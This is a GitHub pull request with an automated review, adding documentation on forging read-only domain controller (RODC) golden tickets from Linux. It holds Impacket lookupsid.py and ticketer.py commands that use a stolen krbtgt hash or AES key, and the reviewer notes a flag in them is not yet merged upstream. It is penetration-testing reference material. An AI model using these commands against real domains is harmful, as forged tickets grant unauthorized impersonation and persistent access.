Add UNIX-like commands for RODC golden ticket#264
Conversation
Review Summary by QodoAdd UNIX-like RODC golden ticket creation documentation
WalkthroughsDescription• Add UNIX-like commands for RODC golden ticket creation • Document Impacket scripts for domain SID retrieval • Provide examples with RC4 and AES key variants • Include custom user/groups IDs configuration example Diagramflowchart LR
A["RODC Golden Ticket<br/>Documentation"] --> B["Find Domain SID<br/>lookupsid.py"]
A --> C["Create Ticket<br/>ticketer.py"]
C --> D["RC4 Key<br/>-nthash"]
C --> E["AES Key<br/>-aesKey"]
C --> F["Custom IDs<br/>-user-id -groups"]
File Changes1. docs/src/ad/movement/kerberos/forged-tickets/rodc-golden-tickets.md
|
Code Review by Qodo
|
| > [!NOTE] | ||
| > _At the time of writing, 15th Apr. 2026,_ [_the pull request_](https://github.com/fortra/impacket/pull/2169) _adding the `-rodcNo` is pending._ | ||
|
|
||
| There are [Impacket](https://github.com/fortra/impacket) scripts for each step of a golden ticket creation : retrieving the domain SID, creating the RODC golden ticket. | ||
|
|
||
| ```bash | ||
| # Find the domain SID | ||
| lookupsid.py -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController' 0 | ||
|
|
||
| # Create the RODC golden ticket (with an RC4 key, i.e. NT hash) | ||
| ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" -rodcNo "$RODC_NUMBER" "randomuser" | ||
|
|
||
| # Create the RODC golden ticket (with an AES 128/256bits key) | ||
| ticketer.py -aesKey "$krbtgtAESkey" -domain-sid "$domainSID" -domain "$DOMAIN" -rodcNo "$RODC_NUMBER" "randomuser" | ||
|
|
||
| # Create the RODC golden ticket (with an RC4 key, i.e. NT hash) with custom user/groups ids | ||
| ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" -rodcNo "$RODC_NUMBER" -user-id "$USERID" -groups "$GROUPID1,$GROUPID2,..." "randomuser" |
There was a problem hiding this comment.
1. -rodcno used while pending 📘 Rule violation ≡ Correctness
The UNIX-like CLI examples use the ticketer.py -rodcNo flag while the surrounding note states the upstream PR adding -rodcNo is still pending, making these commands likely non-functional when copy/pasted. This violates the requirement that example commands use valid syntax/flags aligned with the described intent.
Agent Prompt
## Issue description
The doc states the upstream Impacket PR adding `-rodcNo` is pending, but the example commands require `-rodcNo`, so copy/paste usage will likely fail.
## Issue Context
This page is reader-facing documentation and the compliance checklist requires example commands to match described intent and use valid syntax/flags.
## Fix Focus Areas
- docs/src/ad/movement/kerberos/forged-tickets/rodc-golden-tickets.md[21-37]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
|
thank you for this contribution |
Hi,
https://github.com/Greylorn did a pull request to impacket, adding new flag "-rodcNo" to ticketer.py, making RODC golden ticket doable from linux.
fortra/impacket#2169